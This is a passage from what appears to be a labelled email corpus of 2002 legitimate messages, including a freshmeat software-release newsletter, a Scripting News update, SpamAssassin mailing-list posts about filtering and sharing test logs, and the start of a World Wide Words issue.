(http://freshmeat.net/users/glub/) Tuesday, July 30th 2002 13:17 Internet :: File Transfer Protocol (FTP) Security Security :: Cryptography About: Secure FTP Wrapper is a server based package that enables an existing FTP server to become a Secure FTP server. In this release the wrapper allows a Secure Sockets Layer (SSL) connection to be made to your FTP server. Changes: A fix for a memory leak. License: Other/Proprietary License with Free Trial URL: http://freshmeat.net/projects/ftpswrap/ - % - % - % - % - [078] - Server optimized Linux 15.00 by antitachyon (http://freshmeat.net/users/antitachyon/) Tuesday, July 30th 2002 10:42 System :: Boot :: Init System :: Networking :: Firewalls System :: Operating System About: SoL (Server optimized Linux) is a Linux distribution completely independent from other Linux distributions. It was built from the original source packages and is optimized for heavy-duty server work. It contains all common server applications, and features XML boot and script technology that makes it easy to configure and make the server work. Changes: The server packages have been updated to the newest possible versions and more server applications were added. A SoL-diskless system has been added, which provides a small server operating and education system; it was made for quick and easy hardware diagnosis, rescue of broken Linux installations, and benchmarking. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/sol/ - % - % - % - % - [079] - Sharp Tools Spreadsheet 1.4 (Stable) by Hua Zhong (http://freshmeat.net/users/huaz/) Tuesday, July 30th 2002 05:49 Office/Business :: Financial :: Spreadsheet About: Sharp Tools is a spreadsheet written in Java. It features full formula support (nested functions, auto-updating, and relative/absolute addressing), a file format compatible with other spreadsheets, printing support, undo/redo, a clipboard, sorting, data exchange with Excel, histogram generation, and a built-in help system. Changes: It is now compatible with JDK 1.4, and the row and column insertion bugs were fixed, along with some other problems. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/sharptools/ - % - % - % - % - [080] - Simple TCP Re-engineering Tool 0.8.0 by Rmi Denis-Courmont (http://freshmeat.net/users/rdenisc/) Tuesday, July 30th 2002 13:05 System :: Networking :: Monitoring Utilities About: Simple TCP Re-engineering Tool monitors and analyzes data transmitted between a client and a server via a TCP connection. It focuses on the data stream (software layer), not on the lower level transmission protocol (as packet sniffers do). Changes: A different log file format, support for multiple subsequent connections, gettext support (French translation available), various bugfixes, out-of-band data inlining, and session length limitation. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/tcpreen/ - % - % - % - % - [081] - SimpleFirewall 0.7-2 by Luis Wong (http://freshmeat.net/users/lwong/) Tuesday, July 30th 2002 12:59 Documentation Internet :: Proxy Servers Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries About: Simple Firewall is a easy tool for administration of users and access control. It uses iptables for packet filtering, and saves rules with XML. It can be run in bash and over the Web via webmin. Changes: A dynamic transparent proxy, and a fix for IP detection in interfaces. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/simplefirewall/ - % - % - % - % - [082] - sKaBurn 0.1 by sKaBoy (http://freshmeat.net/users/lucaognibene/) Tuesday, July 30th 2002 18:37 System :: Archiving :: Backup About: sKaBurn is a Perl frontend to cdrecord/cdda2wav/normalize/sox and more, aimed to make audio CD from list of files, an XMMS playlist, another audio CD, or another source. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/skaburn/ - % - % - % - % - [083] - Station Location and Information 1.2 by John Kodis (http://freshmeat.net/users/kodis/) Tuesday, July 30th 2002 10:48 Communications :: Ham Radio About: The station-info program searches for and displays AM, FM, and TV station entries from databases supplied by the US Federal Communications Commission (FCC). It provides many ways of selecting a collection of stations for display, and several criteria by which these stations can be sorted. Detailed information on each station is available, including an antenna radiation pattern, ownership information, and whatever else seems useful. Changes: This release adds correct displaying of antenna patterns (previously, they were shown rotated, reversed, and upside down). It also adds a compass rose and the station callsign to the antenna pattern display. It accepts station callsigns as location specifications. It avoids trying to draw in details windows that have been closed. All the cdbs and .loc files have been moved to $PKGDATADIR (by default, /usr/local/share/station-info/). License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/station-info/ - % - % - % - % - [084] - Sylpheed 0.8.1claws (Claws) by Paul Mangan (http://freshmeat.net/users/daWB/) Tuesday, July 30th 2002 18:38 Communications :: Email :: Email Clients (MUA) About: Sylpheed is a GTK+ based, lightweight, and fast email client. Almost all commands are accessible with the keyboard. It also has many features such as multiple accounts, POP3/APOP support, thread display, and multipart MIME. One of Sylpheed's future goals is to be fully internationalized. The messages are managed in the MH format, so you'll be able to use it together with another mailer that uses the MH format. Changes: This release fixes the IMAP slowdown, plugs several memory leaks, adds a script to enable sending documents as attachments from OpenOffice.org, and contains more improvements and bugfixes. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/sylpheed/ - % - % - % - % - [085] - Sympoll 1.3 by Ralusp (http://freshmeat.net/users/ralusp/) Tuesday, July 30th 2002 18:05 Internet :: WWW/HTTP :: Dynamic Content About: Sympoll is a customizable voting booth system. It is written using PHP and requires access to a MySQL database. Any number of polls may exist concurrently. Individual polls can easily be embedded into any PHP or SHTML Webpage. Creation and modification of polls is made extremely easy through a Web-based administration page. Sympoll can prevent users from voting multiple times by using cookies, IP logging, or both. Changes: This version fixes an important security vulnerability that was introduced in Sympoll 1.2. There are also several other bugfixes and minor feature additions. License: The Apache License URL: http://freshmeat.net/projects/sympoll/ - % - % - % - % - [086] - The Big Dumb Finger Daemon 0.9.5 by Lebbeous Weekley (http://freshmeat.net/users/lweekley/) Tuesday, July 30th 2002 03:53 Internet :: Finger About: The Big Dumb Finger Daemon is a replacement fingerd for Linux with new features and extensive configurability. It gives the administrator many options without allowing an individual user to totally compromise the information given out about them. Some of the new features enhance user security and privacy. The daemon is meant to run standalone, but will run in inetd mode as well. Changes: The .plan, .project, .nofinger, and other associated files can be stored in a common directory and read by bdfingerd, running SUID nobody. This allows users to have .plan files without giving any permissions to their home directories. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/bdfingerd/ - % - % - % - % - [087] - The Parma Polyhedra Library 0.4.1 by Roberto Bagnara (http://freshmeat.net/users/bagnara/) Tuesday, July 30th 2002 12:46 Scientific/Engineering :: Mathematics About: The Parma Polyhedra Library is user friendly, fully dynamic, written in standard C++, exception-safe, efficient, and thoroughly documented. Changes: Fixes were made for a bug in Polyhedron::poly_difference_assign(const Polyhedron& y) whereby the equality constraints of `y' were ignored, a bug in Polyhedron::operator=(const Polyhedron& y) that should only affect versions obtained with the `--enable-assertions' configuration flag, a bug in Polyhedron::check_universe() which was returning the wrong result when called on a zero-dim universe polyhedron, and a bug in NNC_Polyhedron::NNC_Polyhedron(ConSys& cs) that should only affect versions obtained with the `--enable-assertions' configuration flag. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/ppl/ - % - % - % - % - [088] - The Tamber Project 1.0.6 by tamber (http://freshmeat.net/users/tamber/) Tuesday, July 30th 2002 13:18 Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries About: The Tamber project is a componentized n-tier Web site engine that uses open languages such as XML and JavaScript. Content is stored in separate XML files, in databases, or other data objects. Business functions are carried out by JavaScript and ASP. Presentation is controlled by an XSL transformation, which allows for delivery over multiple channels such as HTML, WAP, and MHEG. Currently, Tamber can deliver to HTML and WAP, and contains modules that support e-commerce shopping carts, secure sign in, data access and conversion services, and advanced session management. Changes: A fix for an MS IE sign-in bug. License: GNU Lesser General Public License (LGPL) URL: http://freshmeat.net/projects/tamber/ - % - % - % - % - [089] - Trackbox 0.4 by Thread (http://freshmeat.net/users/threadbean/) Tuesday, July 30th 2002 17:16 Multimedia :: Sound/Audio :: Players About: Trackbox is a pure Perl music server. A trackbox client can connect to the server, and issue commands to it. The server maintains a single playlist, volume setting, etc. that can be modified remotely by connected clients. Any file format for which there is a commandline player is supported, and it has a very simple config file. One possible application could be a LAN party in which everybody would like to influence the music selections. Changes: This release has playlist save/restore support, a 'move' command (playlist order), the ability to set the initial play/shuffle/random flag settings (and start the server in your init scripts), and some other minor features/changes. There are some clients under development. License: Artistic License URL: http://freshmeat.net/projects/trackbox/ - % - % - % - % - [090] - tui-sh 1.2.0 by yeupou (http://freshmeat.net/users/mathieur/) Tuesday, July 30th 2002 10:13 Utilities About: tui-sh stands for text user interface in a shell, and is a package of miscellaneous scripts which are useful for a variety of purposes. They are all designed to be faster and easier to use than the command line that would normally be required to accomplish the same task. For example, there are scripts for mass conversion of WAV files to Ogg files and Ogg files to WAV files, for converting LaTeX to PostScript and viewing the output in ggv, for creating image thumbnails, for converting from the Euro to another currency, and for automated updating via FTP. Changes: This release features usage of gettext for internationalization and getopt. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/tui-sh/ - % - % - % - % - [091] - uVNC 0.0-2 by Adam Dunkels (http://freshmeat.net/users/adamdunkels/) Tuesday, July 30th 2002 18:18 Software Development :: Embedded Systems System :: Networking About: uVNC is a very small VNC server that can be run even on tiny 8-bit microcontrollers commonly found in small embedded devices. With uVNC, such devices can have a networked display without the need for any graphics hardware or a computer screen. A demo server running on a Commodore 64 is available. License: BSD License URL: http://freshmeat.net/projects/uvnc/ - % - % - % - % - [092] - Valgrind 1.0.0 by sigra (http://freshmeat.net/users/sigra/) Tuesday, July 30th 2002 23:04 Software Development :: Testing About: Valgrind is a tool that helps you find memory management problems in programs. When a program is run under Valgrind's supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Valgrind can detect problems such as use of uninitialized memory, reading/writing of memory after it has been freed, reading/writing off the end of malloced blocks, reading/writing inappropriate areas on the stack, memory leaks in which pointers to malloced blocks are lost forever, passing of uninitialized and/or unaddressable memory to system calls, and mismatched use of malloc/new/new [] vs. free/delete/delete []. Changes: Support for the x86 fldenv instruction, a fix for an obscure optimiser bug causing failures like this: ""insane instruction 27: PUTFL %ecx"", a fix for dying with bus errors running programs which mess with the x86 AC (alignment-check) flag, fixes to make it compile and run on Red Hat ""Limbo"" (7.3.92), a fix for a possible assert failure having to do with free() when running cachegrind (not valgrind), and final manual adjustments. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/valgrind/ - % - % - % - % - [093] - VNC Reflector 1.1.9 by Const Kaplinsky (http://freshmeat.net/users/const/) Tuesday, July 30th 2002 03:49 Education System :: Systems Administration About: VNC Reflector is a specialized VNC server which acts as a proxy between a real VNC server (a host) and a number of VNC clients. It was designed to work efficiently with large number of clients. It can switch between different hosts on the fly, preserving client connections. It supports reverse host-to-reflector connections, it can save host sessions on disk, and it also has other unique features. Changes: Handling of host connections with different desktop geometries was improved, and support for dynamic changes to desktop size was implemented. The ability to specify negative display numbers was added. A few other new features were implemented, and a number of bugs were fixed. License: BSD License URL: http://freshmeat.net/projects/vnc-reflector/ - % - % - % - % - [094] - vpopmail 5.3.8 (Development) by kbo (http://freshmeat.net/users/kbo/) Tuesday, July 30th 2002 11:07 Communications :: Email Communications :: Email :: Mail Transport Agents Communications :: Email :: Post-Office :: POP3 About: vpopmail (vchkpw) is a collection of programs and a library to automate the creation and maintenance of virtual domain email configurations for qmail installations using either a single UID/GID or any valid UID/GID in /etc/passwd with a home directory. Features are provided in the library for other applications which need to maintain virtual domain email accounts. It supports named or IP-based domains. It works with vqadmin, qmailadmin, vqregister, sqwebmail, and courier-imap. It supports MySQL, Sybase, Oracle, LDAP, and file-based (DJB constant database) authentication. It supports SMTP authentication combined with the qmail-smtp-auth patch. It supports user quotas and roaming users (SMTP relay after POP authentication). Changes: This release adds one last patch for the vgetent problem, comments out the lseek definition for BSD users, replaces the old qmail-pop3d-maildirquota patch with the qmail-maildir++ patch (which adds Maildir++ support not only to qmail-pop3d, but also to qmail-local), and updates the documentation. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/vpopmail/ - % - % - % - % - [095] - Vstr string library 0.9.9 by Nevyn (http://freshmeat.net/users/nevyn/) Tuesday, July 30th 2002 00:14 Software Development :: Libraries About: Vstr is a string library designed for network communication, but applicable in a number of other areas. It works on the idea of separate nodes of information, and works on the length/ptr model and not the termination model a la ""C strings"". It can also do automatic referencing for mmap() areas of memory, and includes a portable version of a printf-like function. Changes: The vstr_export_buf() function now performs automatic bounds checking in the same way as vstr_export_cstr_buf(). vstr_sc_read_*() now works even if the vstr isn't configured to have an iovec cache. Work on internal symbol hiding has been made, making the library smaller and faster. License: GNU Lesser General Public License (LGPL) URL: http://freshmeat.net/projects/vstr/ - % - % - % - % - [096] - WallFire wfconvert 0.1.3 by Herv Eychenne (http://freshmeat.net/users/rv/) Tuesday, July 30th 2002 10:16 Security System :: Networking :: Firewalls About: The goal of the WallFire project is to create a very general and modular firewalling application based on Netfilter or any kind of low-level framework. Wfconvert is a tool which imports/translates rules from/to any supported firewalling language. Changes: This release adds support for service ""macros"" in WallFire's native language, a ""disabled"" flag for a rule, and MAC addresses class handling. Man pages now install properly, and the whole thing compiles under g++-3.1. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/wfconvert/ - % - % - % - % - [097] - WallFire wflogs 0.0.5 by Herv Eychenne (http://freshmeat.net/users/rv/) Tuesday, July 30th 2002 10:35 Internet :: Log Analysis Security System :: Logging About: The goal of the WallFire project is to create a very general and modular firewalling application based on Netfilter or any kind of low-level framework. Wflogs is a log analysis and reporting tool. Changes: This release adds a --strict-parsing option and support for MAC addresses. Man pages now install properly, a serious bug which could cause wflogs to crash was fixed, and ICMP codes are now parsed properly with netfilter logs. The whole thing compiles under g++-3.1. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/wflogs/ - % - % - % - % - [098] - webcpp gtkgui 0.3.1 (Gnome) by Jeffrey Bakker (http://freshmeat.net/users/staeryatz/) Tuesday, July 30th 2002 13:20 Text Processing :: Markup :: HTML About: webcpp gtkgui is a GTK+ GUI for webcpp. Changes: Support for Cg, CLIPS, Haskell, and Tcl, code cleanups in callbacks.c, and an updated about box. Webcpp 0.7.3 is now required. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/webcppgui/ - % - % - % - % - [099] - WebDialer 1.4 by Dietrich Heise (http://freshmeat.net/users/dietrich/) Tuesday, July 30th 2002 10:49 Internet :: WWW/HTTP About: Webdialer is a script to configure and start/stop wvdial, ISDN, or ADSL connections from a Web browser, which is very useful when it runs on a headless gateway. It features log functions for IP, time connected, and traffic that was transferred and received. You can use several languages (English, German, French, Spanish, Italian, Czech, and Turkish). Changes: This release adds better ISDN support and some bugfixes. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/webdialer/ - % - % - % - % - [100] - WebFileManager 0.972 (Stable) by horsburgh (http://freshmeat.net/users/horsburg/) Tuesday, July 30th 2002 16:56 Desktop Environment :: Window Managers Internet :: WWW/HTTP :: Site Management About: FileManager is a secure (SSL), multi-user, and Web- based program for file, directory, and remote command management. It is written in Perl, for Linux and Unix-like operating systems. It displays full directory information; allows file viewing, deleting, renaming, uploading, downloading, etc.; assists in directory navigation; and can execute any command for which the user account has privilege. FileManager also comes with a built-in text editor for quick editing and file updates. Changes: A security hole that allowed authorized users to view any file on the system has been fixed. The security certificate has been extended. Support has been added for 29 more OS types. The find function now works for non-root, jailed users. A new option controls whether or not a user can ""click"" outside their home directory tree. The AllowRootUser parameter can now disable the 'root' user. A bug that prevented non-root, jailed users from creating subdirectories, a ""group"" permissions access problem, and a bug in the ""Command Line"" box which prevented using the asterisk wildcard have all been fixed. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/webfilemgr/ - % - % - % - % - [101] - WebJob 1.2.0 by Klayton Monroe (http://freshmeat.net/users/mavrik/) Tuesday, July 30th 2002 13:19 Security System :: Monitoring System :: Systems Administration About: WebJob downloads a program over HTTP/HTTPS and executes it in one unified operation. The output, if any, may be directed to stdout/stderr or a Web resource. WebJob may be useful in incident response and intrusion analysis as it provides a mechanism to run known good diagnostic programs on a potentially compromised system. It can also support various host-based monitoring solutions. Changes: Under the hood, the project went through some significant restructuring, primarily to make room for three new platforms: NT/2K, Cygwin, and MacOS X. The default installation directory has changed for Unix platforms (it is now in /usr/local/integrity). License: BSD License URL: http://freshmeat.net/projects/webjob/ - % - % - % - % - [102] - white_dune 0.20beta12 (Development) by MUFTI (http://freshmeat.net/users/mufti22/) Tuesday, July 30th 2002 17:10 Games/Entertainment Internet :: WWW/HTTP Multimedia :: Graphics :: 3D Modeling About: VRML97 (Virtual Reality Modelling Language) is the ISO standard for displaying 3D data over the web via browserplugins. It has support for animation, realtime interaction and multimedia (image, movie, sound). Dune can read VRML97 files, display and let the user change the scenegraph/fields, and load and store x3d (next generation VRML xml format) files if configured to work with the nist.gov x3d translators. It also has support for stereoscopic view via ""quadbuffer""-capable stereo visuals. Changes: A crash when creating NurbsSurface has been fixed. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/whitedune/ - % - % - % - % - [103] - WideStudio 3.00.3 by Shun-ichi Hirabayashi (http://freshmeat.net/users/hirabays/) Tuesday, July 30th 2002 23:03 Software Development :: Build Tools About: WideStudio is a multi-platform integrated development environment for building windowed event-driven applications. It uses its own independent class libraries. Automatic source code generation is provided by the application builder, which also provides project management and automatic makefile generation. WideStudio can be used to develop applications on Linux, Solaris, and Windows. Changes: New functions of distributed network computing and accessing the database and computer graphics were added. License: MIT/X Consortium License URL: http://freshmeat.net/projects/widestudio/ - % - % - % - % - [104] - Wolfpack 12.8.7 (Stable) by Correa (http://freshmeat.net/users/correa/) Tuesday, July 30th 2002 10:50 Communications Games/Entertainment :: Multi-User Dungeons (MUD) Games/Entertainment :: Role-Playing About: Wolfpack is software for an Ultima Online MMORPG server. It features a scripting language and supports both Third Dawn and T2A. You need EA's Ultima Online to play on Wolfpack servers. Changes: Stability has been improved. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/wolfpack/ - % - % - % - % - [105] - XMLtype 0.5.1 (Development) by Jiri Tobisek (http://freshmeat.net/users/tobich/) Tuesday, July 30th 2002 18:39 Text Editors About: The goal of the XMLtype project is to create a console-based editor of XML document-oriented files in UTF-8 encoding. It is designed from the beginning for multilingual use, even for writing bi-directional texts (e.g. mixed English and Hebrew). The design focuses on comfortable and fast typing of well-formed XML documents. Thus XMLtype is not meant to compete with advanced console editors like Emacs or VIM. For full functionality, XMLtype requires UTF-8 console support. It is being developed under Linux and for the ANSI/VT-100 terminal. Changes: This release fixes an ugly I/O bug caused by previous bugfixing. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/xmltype/ - % - % - % - % - [106] - Zina 0.9.1 by Ryan (http://freshmeat.net/users/pancake/) Tuesday, July 30th 2002 06:00 Internet :: WWW/HTTP :: Dynamic Content Multimedia :: Sound/Audio :: Players :: MP3 About: Zina is a graphical interface to your MP3 collection, a personal jukebox, and an MP3 streamer. It is similar to Andromeda, but released under the GNU General Public License. Changes: VBR file info and tag support was improved. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/zina/ - % - % - % - % - [107] - zprommer 2002_07_29 by zut (http://freshmeat.net/users/zut/) Tuesday, July 30th 2002 05:43 About: zprommer is a program for driving the simple, affordable E(E)PROM programmer from www.batronix.com. It works under Linux/i386 and is designed to be easily extensible for new chip types. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/zprommer/ -- . - .--- --. ------.- - -----.---.--- .--.-...-.--- --- -- _______________________________________________ The freshmeat daily newsletter To unsubscribe, send email to freshmeat-news-request@lists.freshmeat.net or visit http://lists.freshmeat.net/mailman/listinfo/freshmeat-news",0,1 webmaster@userland.com,legit-list-scriptingnews@spamassassin.taint.org,"Wed, 31 Jul 2002 05:00:42 GMT",Scripting News Update," | | ![](http://static.userland.com/misc/snImages/scriptingNewsBulletinLogo.gif) | ---|--- Apparently the NY Mets couldn't find a way to compromise with some of the team's most dedicated fans. A sad day for New York baseball. What would Mookie say?? ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Salon: ""Listen's $10-per-month Rhapsody service has a fantastic interface, and, since it has content from all five labels, you can find much of what you'd like on it. You can listen to any song as often as you'd like -- an option that gives a taste of what a perfect subscription service would feel like. The only trouble is, Listen won't let you burn -- and, as one file trader asked, 'Who wants to be stuck listening to shit at their computer?'"" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Martin Schwimmer, a trademark attorney and Mets fan, weighs in on Bryan Hoch's MetsOnline situation. ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Joel Klein, Microsoft's chief prosecutor in the Clinton Administration, is named chancellor of New York's public school system. ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) It's been one week since Salon's blogs booted up. Scott Rosenberg posts a progress report. ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) FarrFeed: ""I love this stuff."" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) I know this isn't big news for most of you, but I'm no longer the first Dave on Google. Maybe someday I will be, again. :-( ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Well, yesterday I went for my 30-day post op review (it was actually 38 days after I was discharged) and there was good news and bad news. The good news is that I'm healing quickly. My body is very strong and doing really well. My blood pressure is great. Heart rate is great. Cholesterol needs work and I have to lose a bunch of weight, and of course I can't smoke. Now the bad news. I have to be a saint for the rest of my life. I knew this day was coming. As I start to feel better, I want to relax. That ain't going to happen. Oy. Here's my old theme song. ""Don't ask me to be Mister Clean, cause baby I don't know how."" I need a new song. Oh mama. ![](http://static.userland.com/shortcuts/images/qbullets/sidesmiley.gif) ![](http://www.scripting.com /images/2001/09/20/sharpPermaLink3.gif) Ed Cone's got the blogging bug: ""I filed my N&R; column about the bad proposed corporate hacking bill. It will run on Sunday -- it's an early deadline no matter what, but after blogging for a few months it's almost painful to wait so long. I feel like just posting it now, or scooping myself with the best parts....but patience is a virtue."" _Hehe._ ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Historian Stephen Ambrose, who is interviewed on the PBS News Hour today: ""You can do whatever the hell you want. Who's going to criticize you? And if they do, what the hell do you care?"" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Radio Free Blogistan: Blogger vs Radio. ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Reuters: ""Stocks briefly extended their losses in late morning trading on Tuesday, biting into Monday's monster rally."" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) ![A picture named bryanHoch.gif](http://radio.weblogs.com/0001015/images/2002/07/30/bryanHoch.gif)Thanks to Glenn Reynolds for the link to metsonline.net. As a Mets fan since 1962, I think it's great that sites like this exist and are flourishing. Like Bryan Hoch, the webmaster, I also run websites as a labor of love, and know there isn't generally a whole lot of money left over after you pay for bandwidth. I totally believe Hoch, a college student, when he says he isn't making money. The site clearly disclaims that it is not representative of the Mets or Major League Baseball. If you go deeper you see that Hoch contributed his time for free to help the Mets improve their own site, before all sites were taken over by MLB in 2001 (what a bad idea, why can't teams differentiate themselves based on the quality of their community sites). Now of course there's another side to it, so let's keep an open mind. But to the owners of the Mets, please remember, it's the fans that make it work, and it's pretty clear that this website is from the fans, for the fans and the team, and that's a good thing. ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Postscript: I've been emailing with Bryan, and asked if the local NY press has taken up his cause. He says: ""Not yet. You can help by calling any one of the major metro papers (Post, Daily News, Times, Newsday)."" More.. Ernie the Attorney is looking into this. ""LSU Law School is suing one of its students for trademark infringement over a website that he maintains. The site is called lsulaw.com, and it includes a school calendar, law-related links and comments by Douglas Dorhauer, some of them critical of the law school."" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Bret Fausett, yesterday: ""It's hard to imagine a more complete win than what ICANN Director Karl Auerbach received today from Los Angeles Superior Court Judge Dzintra Janavs."" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) James Jarrett wonders where is his blog flow? ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Mark Crane writes: ""Woke up early the other morning, and started listening to a BBC special on the Silicon Valley. Suddenly I heard the voice of Dave Winer, and he sounded like this mellow California hippy-geek. You should do a DaveNet that is just a stream of you reading the essay. Hearing the Dave voice totally changed my perceptions of the Dave Winer experience."" _It's true, I have a pretty soft voice. I laugh a lot too. Many people are surprised._ ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) OSCON, last week, has done its job and stirred the embers of the Great Open Source Debate of the 1990s. I found myself writing in an email yesterday: ""Very little really usable software has come from people who are willing to work for $0. (I chose my words carefully, infrastructure is another matter entirely.) Further, it's weird to say, as Richard Stallman does, that by coercing programmers to work for $0 that that's freedom. To me it seems obvious that that's slavery."" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Washington Post: ""Operated for years by Internet addressing giant VeriSign Inc., dot-org is slated to get a new landlord in October when VeriSign relinquishes its hold on the domain."" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Two years ago on this day: ""The best standard is the one with the most users."" ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) Ponder yesterday's riddle. Then click on the solution. ![](http://static.userland.com/shortcuts/images/qbullets/sidesmiley.gif) ![](http://www.scripting.com/images/2001/09/20/sharpPermaLink3.gif) ",0,1 yyyy@spamassassin.taint.org (Justin Mason),SpamAssassin-devel@example.sourceforge.net,"Tue, 30 Jul 2002 18:29:03 +0100",[SAdev] Alternatives to the GA,"BTW Ken Shan suggested making a set of corpus data publically available, so that different classification algos can be tried out. I'd be happy to do that -- providing the nonspam.log and spam.log files from my mass-check output (ie. the ""matrix of test results"" in Ken's terms). Along with the default scores, this is the entire input data set for the SpamAssassin GA system. So, if anyone wants a go, contact me by mail. --j. -- 'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """rODbegbie"" ","""Justin Mason"" ","Tue, 30 Jul 2002 13:36:06 -0400",Re: [SAdev] Alternatives to the GA,"Justin Mason wrote: > I'd be happy to do that -- providing the nonspam.log and spam.log files > from my mass-check output (ie. the ""matrix of test results"" in Ken's > terms). Along with the default scores, this is the entire input data set > for the SpamAssassin GA system. Always happy to contribute my mass-check logs. The only problem is that was all have to be using the exact same ruleset. Let me know if you want them. rOD. -- ""I would also have accepted 'Snacktacular'"" >> Doing the blogging thang again at http://www.groovymother.com/ <<",0,1 """rODbegbie"" ","""Spam Assassin"" ","Fri, 2 Aug 2002 08:38:40 -0400",[SAtalk] why false positives are twenty times worse than false negatives,"http://www.editorandpublisher.com/editorandpublisher/features_columns/articl e_display.jsp?vnu_content_id=1570036 (or http://makeashorterlink.com/?A1D525B61 if that URL wrapped) rOD. -- ""If I was a front porch swing, would you let me hang? If I was a dancefloor, would you shake your thang? If I was a rubber check, would you let me bounce Up and down inside your bank account?"" >> Doing the blogging thang again at http://www.groovymother.com/ << ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Jake Mohnkern ,"""'spamassassin-talk@example.sourceforge.net'"" ","Fri, 2 Aug 2002 10:21:07 -0400",[SAtalk] Protect individual MS-Exchange mailboxes,"I rigged this up for testing before I commit to a sitewide rollout of Spamassassin as an SMTP relay. It is more work, but it avoids sitewide changes in mail delivery during the early stages of testing. On the Exchange server... (mail.yourdomain.com) Create a new, private SMTP address (nomorespam@yourdomain.com) for the mailbox you want to protect. Remove the old address. Create a ""custom recipient"" with the old SMTP address (spammedalot@yourdomain.com). Create another custom recipient pointing at a local user on the Spamassassin box (killspam@filtermail.yourdomain.com). Set the first custom recipient to forward all mail to the second custom recipient. (must forward to another address in the Exchange directory) On the Spamassassin box... (filtermail.yourdomain.com) Set up a dummy user, in this case ""killspam"" Give killspam a .forward file pointing to the final recipient's new, private smtp address back on the Exchange server. So the message flow is like this: Mail arrives on the Exchange server mail.yourdomain.com for spammedalot@yourdomain.com spammedalot@commonwealth.com forwards it to killspam@filtermail.yourdomain.com Following the .forward file, the e-mail is then forwarded to nomorespam@yourdomain.com Wowie Zowie it works. The first address I protected was myself, the second one I protected was postmaster. As you can see, you must create two custom recipients in Exchange and one dummy account with a .forward file on the spam filter box for each address you want to protect. Like I said, it is more work, but until I am done load-testing, this is the way it will stay. -jake ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Michael Quinion ,WORLDWIDEWORDS@LISTSERV.LINGUISTLIST.ORG,"Fri, 2 Aug 2002 16:26:40 +0100",World Wide Words -- 03 Aug 02,"WORLD WIDE WORDS ISSUE 301 Saturday 3 August 2002 ------------------------------------------------------------------- Sent each Saturday to 15,000+ subscribers in at least 119 countries Editor: Michael Quinion, Thornbury, Bristol, UK ISSN 1470-1448 ------------------------------------------------------------------- IF YOU RESPOND TO THIS MAILING, REMEMBER TO CHANGE THE OUTGOING ADDRESS TO ONE OF THOSE IN THE 'CONTACT ADDRESSES' SECTION. Contents ------------------------------------------------------------------- 1. Feedback, notes and comments. 2. Turns of Phrase: Thinspiration. 3. Weird Words: Usufructuary. 4. Q&A: Three sheets to the wind; Mogadored; Skunk works. 5. Endnote. 6. Subscription commands. 7. Contact addresses. 1. Feedback, notes and comments ------------------------------------------------------------------- COCKLES OF ONE'S HEART You may recall that I was a bit suspicious of the story I told in last week's issue. James Woodfield pointed out that there is another possible explanation. In medieval Latin, the ventricles of the heart were at times called ""cochleae cordis"", where the second word is derived from ""cor"", heart. Those unversed in Latin could have misinterpreted ""cochleae"" as ""cockles"". Oddly, ""cochlea"" in Latin means ""snail"" (from the shape of the ventricles - it's also the name of the spiral cavity of the inner ear), so if this story is right we should really be speaking of warming the snails of one's heart. SERRANCIFIED Many of you supplied your own memories 